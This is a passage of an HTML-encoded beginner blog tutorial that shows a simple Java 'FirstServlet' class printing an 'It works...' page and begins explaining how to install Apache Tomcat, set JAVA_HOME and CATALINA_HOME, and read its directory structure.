  response.getWriter();&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;html&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;head&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;title&amp;gt;First
  servlet&amp;lt;/title&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;/head&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;body&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;It
  works...&amp;lt;hr&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;/body&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;/html&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
This servlet will display &quot;First servlet&quot; in title of the browser and will print &quot;It works...&quot; at browser.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Complete Servlet Code:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;u&gt;com.kiosk&lt;/u&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; java.io.*;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; java.util.*;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;
  javax.servlet.*;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;
  javax.servlet.http.*;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;class&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;u&gt;FirstServlet&lt;/u&gt;
  &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;extends&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; HttpServlet {&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;void&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;
  doGet(HttpServletRequest request, HttpServletResponse response)&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;throws&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; IOException,
  ServletException {&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; response.setContentType(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;text/html&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PrintWriter out =
  response.getWriter();&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;html&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;head&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;title&amp;gt;First
  servlet&amp;lt;/title&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;/head&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;body&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;It
  works...&amp;lt;hr&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;/body&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;&amp;lt;/html&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;}&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&amp;nbsp;Now we have only done with the code of servlet. But, we need to execute it in contain and in order to do this we must need to tell the container that this is our servlet and will be deployed on this container. I think before getting into the configuration of servlet into servlet container we must need to tell you about the installation of webserver and a bit about it&#39;s directory structure.&lt;br /&gt;
&lt;br /&gt;
Here we have choosen Apache Tomcat for our servlet execution but some other containers are also available in market from which you may choose. Apache tomcat can be downloaded from the following &amp;nbsp;URL&amp;nbsp;&lt;a href=&quot;http://tomcat.apache.org/download-70.cgi&quot;&gt;http://tomcat.apache.org/download-70.cgi&lt;/a&gt;, I had 64 Bit OS so have chosen &lt;a href=&quot;http://stingray.cyber.net.pk/pub/apache/tomcat/tomcat-7/v7.0.42/bin/apache-tomcat-7.0.42-windows-x64.zip&quot;&gt;64 Bit Archive&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;How to Install Tocmat:&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Download the binary zip distribution in a local folder (we will use c:\server&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;in the rest of the guide)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;2. Set the environment variables&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;JAVA_HOME=path_to_JDK_installation_folder&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;CATALINA_HOME=path_to_tomcat_installation_folder either as Windows system variables or in the files&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;startup.bat and shutdown.bat from the bin directory&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Example: place the following lines in the beginning of startup.bat and shutdown.bat:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;set JAVA_HOME=c:\jdk1.6.0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;set CATALINA_HOME=c:\apache-tomcat-6.0.20&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Tomcat Directory Structure&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;bin &lt;/b&gt;– contains executable files for controlling the server (start, shut down etc.)&lt;/span&gt;&lt;br /&gt;
